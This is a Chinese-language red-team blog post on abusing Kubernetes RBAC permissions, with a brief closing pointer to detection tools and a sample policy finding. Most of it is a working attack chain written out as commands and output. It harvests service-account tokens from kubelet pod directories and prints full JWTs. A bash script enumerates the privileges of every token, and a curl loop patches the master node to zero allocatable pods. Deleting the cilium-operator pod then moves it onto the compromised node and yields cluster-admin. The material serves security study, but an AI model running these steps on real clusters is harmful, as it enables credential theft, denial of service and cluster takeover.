九维团队-红队（突破）| k8s权限滥用介绍及检测修复

apiVersion: rbac.authorization.k8s.io/v1kind: Rolemetadata:  namespace: default  name: pod-readerrules:- apiGroups: [""] # "" 标明 core API 组  resources: ["pods"] # 指定可操作的资源  verbs: ["get", "watch", "list"]  # 指定可执行的操作

kubectl auth can-i "*" "*" -A

# kubectl --server master:6443 auth can-i "*" "*" -AError from server (BadRequest): the server rejected our request for an unknown reason (post selfsubjectaccessreviews.authorization.k8s.io)

# kubectl auth can-i "*" "*" -Ayes

root@node1:/# # 搜索所有tokenroot@node1:/# find /var/lib/kubelet/pods/ -name token/var/lib/kubelet/pods/a462d648-ca7c-4549-984e-1af384f58bc7/volumes/kubernetes.io~secret/hubble-relay-token-jn95w/token/var/lib/kubelet/pods/a462d648-ca7c-4549-984e-1af384f58bc7/volumes/kubernetes.io~secret/hubble-relay-token-jn95w/..2023_01_24_02_17_44.079666238/token/var/lib/kubelet/pods/81a59485-de89-40f4-a77a-8e04b926b621/volumes/kubernetes.io~secret/cilium-operator-token-9pqbd/token/var/lib/kubelet/pods/81a59485-de89-40f4-a77a-8e04b926b621/volumes/kubernetes.io~secret/cilium-operator-token-9pqbd/..2023_01_24_02_13_46.855516921/token/var/lib/kubelet/pods/c6932fc8-376d-4406-9705-35abb0532a5a/volumes/kubernetes.io~secret/coredns-token-96shc/token/var/lib/kubelet/pods/c6932fc8-376d-4406-9705-35abb0532a5a/volumes/kubernetes.io~secret/coredns-token-96shc/..2023_01_24_02_17_46.846303625/token/var/lib/kubelet/pods/e376ebd3-07ef-47e9-8249-585c201e9d4a/volumes/kubernetes.io~secret/default-token-hfqf2/token/var/lib/kubelet/pods/e376ebd3-07ef-47e9-8249-585c201e9d4a/volumes/kubernetes.io~secret/default-token-hfqf2/..2023_01_24_02_13_46.758639108/token/var/lib/kubelet/pods/657c919b-3e2a-4578-b9b2-9e00627bd328/volumes/kubernetes.io~secret/cilium-token-z9s2w/token/var/lib/kubelet/pods/657c919b-3e2a-4578-b9b2-9e00627bd328/volumes/kubernetes.io~secret/cilium-token-z9s2w/..2023_01_24_02_13_47.382727485/token/var/lib/kubelet/pods/66528b6a-a20b-4938-91b9-a0b82b4e28c6/volumes/kubernetes.io~secret/hubble-ui-token-knntp/token/var/lib/kubelet/pods/66528b6a-a20b-4938-91b9-a0b82b4e28c6/volumes/kubernetes.io~secret/hubble-ui-token-knntp/..2023_01_24_02_17_46.447715410/token
root@node1:/# # 查看指定tokenroot@node1:/# cat /var/lib/kubelet/pods/657c919b-3e2a-4578-b9b2-9e00627bd328/volumes/kubernetes.io~secret/cilium-token-z9s2w/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IjREcjZselczazV2ZUNxRmpmN1lZbkYwQUpubEVvQm5qMkwybmJVVGMyVDgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjaWxpdW0tdG9rZW4tejlzMnciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2lsaXVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiOTY1YzU0ZTQtYTYwYS00NGIyLTllOTEtY2RlMDdiMDNlMzgzIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmNpbGl1bSJ9.zlMpU8diDEv0TI6R5KYvcGm513V4WiPwrkD_Y4G48ImdeNe3T9cyNJiJx1y5MlA8XedN8wgKJEqRm6vjDDrUoa1DLivb6U2c4rDqpxJHTuT7Sm_IQqIj65LUOMHOcq8LKtrwy8LLotf8IhYBqiIc1uRQYUjbF_fvbVGPefvyXrbtaSizlUDbT1-QjeP21xHnfMIgm9N-9YPuBgSVAEPSneZ1yeWOnrLfshV4pS54XfJ6vgwmZHuGaEVDa1HXG1ssoqfgQFcIS4PkiO-zCLhcazgGwOrUdWXtaVX70R3u5pUSqFfkb5cX_hiU4nWx0Ct8LiJD_87RrcWKd_zQC8iSKw

root@node1:/# # 设置别名以指定ServiceAccount权限查询root@node1:/# alias kctl = "kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjREcjZselczazV2ZUNxRmpmN1lZbkYwQUpubEVvQm5qMkwybmJVVGMyVDgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjaWxpdW0tdG9rZW4tejlzMnciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2lsaXVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiOTY1YzU0ZTQtYTYwYS00NGIyLTllOTEtY2RlMDdiMDNlMzgzIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmNpbGl1bSJ9.zlMpU8diDEv0TI6R5KYvcGm513V4WiPwrkD_Y4G48ImdeNe3T9cyNJiJx1y5MlA8XedN8wgKJEqRm6vjDDrUoa1DLivb6U2c4rDqpxJHTuT7Sm_IQqIj65LUOMHOcq8LKtrwy8LLotf8IhYBqiIc1uRQYUjbF_fvbVGPefvyXrbtaSizlUDbT1-QjeP21xHnfMIgm9N-9YPuBgSVAEPSneZ1yeWOnrLfshV4pS54XfJ6vgwmZHuGaEVDa1HXG1ssoqfgQFcIS4PkiO-zCLhcazgGwOrUdWXtaVX70R3u5pUSqFfkb5cX_hiU4nWx0Ct8LiJD_87RrcWKd_zQC8iSKw --server https://master:6443 --insecure-skip-tls-verify"root@node1:/# kctl get po -A

https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/authorization/#determine-the-request-verb/verbs

root@node1:/# # 手动查询具备的权限。当前使用了 cilium的daemon pod，具备update nodes/status的权限。root@node1:/# kctl auth can-i "update" "node" -Ayesroot@node1:/# kctl auth can-i "update" "nodes/status" -Ayes

# 列出在所有命名空间中此token的权限#!/bin/bash
JwtDecode() {jwt=$(echo $1 | cut -d '.' -f 2)echo $jwt| base64 -d}
pathlist=($(find /var/lib/kubelet/pods -name token))token=()for path in ${pathlist[@]}dotoken[${#token[@]}]=$(cat $path)donetoken=($(awk -v RS=' ' '!a[$1]++' <<< ${token[@]}))
echo "[!] Found ${#token[@]} token(s)"subject=()namespace=()for t in ${token[@]}dosubject[${#subject[@]}]=$(JwtDecode $t|awk -F"," '{print($NF)}')namespace[${#namespace[@]}]=$(JwtDecode $t|grep -Eo 'namespace":"([^"]*?)",'|cut -d '"' -f 3)donefor idx in "${!token[@]}";doecho -e "${subject[$idx]} n${token[$idx]} n" >> listpriv.txt$(kubectl --token=${token[$idx]} --server https://master:6443 --insecure-skip-tls-verify auth can-i --list --namespace=${namespace[$idx]} >> listpriv.txt)done
echo "[>] Save as listpriv.txt"

root@node1:/# alias kctl="kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjREcjZselczazV2ZUNxRmpmN1lZbkYwQUpubEVvQm5qMkwybmJVVGMyVDgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjaWxpdW0tdG9rZW4tejlzMnciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2lsaXVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiOTY1YzU0ZTQtYTYwYS00NGIyLTllOTEtY2RlMDdiMDNlMzgzIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmNpbGl1bSJ9.zlMpU8diDEv0TI6R5KYvcGm513V4WiPwrkD_Y4G48ImdeNe3T9cyNJiJx1y5MlA8XedN8wgKJEqRm6vjDDrUoa1DLivb6U2c4rDqpxJHTuT7Sm_IQqIj65LUOMHOcq8LKtrwy8LLotf8IhYBqiIc1uRQYUjbF_fvbVGPefvyXrbtaSizlUDbT1-QjeP21xHnfMIgm9N-9YPuBgSVAEPSneZ1yeWOnrLfshV4pS54XfJ6vgwmZHuGaEVDa1HXG1ssoqfgQFcIS4PkiO-zCLhcazgGwOrUdWXtaVX70R3u5pUSqFfkb5cX_hiU4nWx0Ct8LiJD_87RrcWKd_zQC8iSKw --server https://master:6443 --insecure-skip-tls-verify"
root@node1:/# kctl auth can-i "update" "node" -Ayes

patch_node() {    curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: application/json-patch+json" -d '[{"op": "replace", "path": "/status/allocatable/pods", "value": "0"}]' > /dev/null}
while true; do patch_node master; done &

kctl get po -n kube-system -o wide|grep operkctl delete po cilium-operator-6d665dd4dc-w8b8s -n kube-system

root@node1:/# alias admctl="kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjREcjZselczazV2ZUNxRmpmN1lZbkYwQUpubEVvQm5qMkwybmJVVGMyVDgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjaWxpdW0tb3BlcmF0b3ItdG9rZW4tOXBxYmQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2lsaXVtLW9wZXJhdG9yIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiMmJhMDM0ZWMtNDQ5NC00YjU3LTgxMTUtZmYwODVhZDU4MDg0Iiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmNpbGl1bS1vcGVyYXRvciJ9.dOpD4ASwlTJI8RwKFB-hUq0R82AKTu1yegJS2c5fKLO2CDQn7rsEAQuJdnMLJExKw7V4bkGhNxyxWzPwXiSqMhQH8LqFy8aaCtDsuxtFwupY6_PYXXt7BKWIdeTGVgAJ0JKZenykuoBb8ZIWjOMfxrzvjkXHs80bedKBoFqRP9_pCt7ns33Mu2t0uCZLXPh75OZPJ9lN0VumxtzPNFeBn6XDa0_4_GnMyIEc-L8p6g2beRtof0i4hScxow6Zp3GGjWPWF2nzFbqIgVzC51e5ae3LXwkajETyVg4US6CAIs4RM86PsZGzvddZJvcFjv6aHWuN3_YSQAKvmbVDkudq_Q  --server https://master:6443 --insecure-skip-tls-verify"
root@node1:/# admctl auth can-i "*" "*" -Ayes

https://github.com/PaloAltoNetworks/rbac-policehttps://github.com/bridgecrewio/checkov

{            "policy": "lib/steal_pods.rego",            "severity": "High",            "description": "Identities that can delete or evict pods in privileged namespaces (kube-system) and also make other nodes unschedulable can steal powerful pods from other nodes onto a compromised one",            "violations": {                "serviceAccounts": [                    {                        "name": "cilium",                        "namespace": "kube-system",                        "nodes": [                            {                                "master": [                                    "cilium-ljpkr"                                ]                            },                            {                                "node1": [                                    "cilium-p25vz"                                ]                            }                        ]                    }                ],                "combined": [                    {                        "node": "master",                        "serviceAccounts": [                            "kube-system:cilium",                            "kube-system:cilium-operator"                        ]                    },                    {                        "node": "node1",                        "serviceAccounts": [                            "kube-system:cilium",                            "kube-system:cilium-operator"                        ]                    }                ]            }        }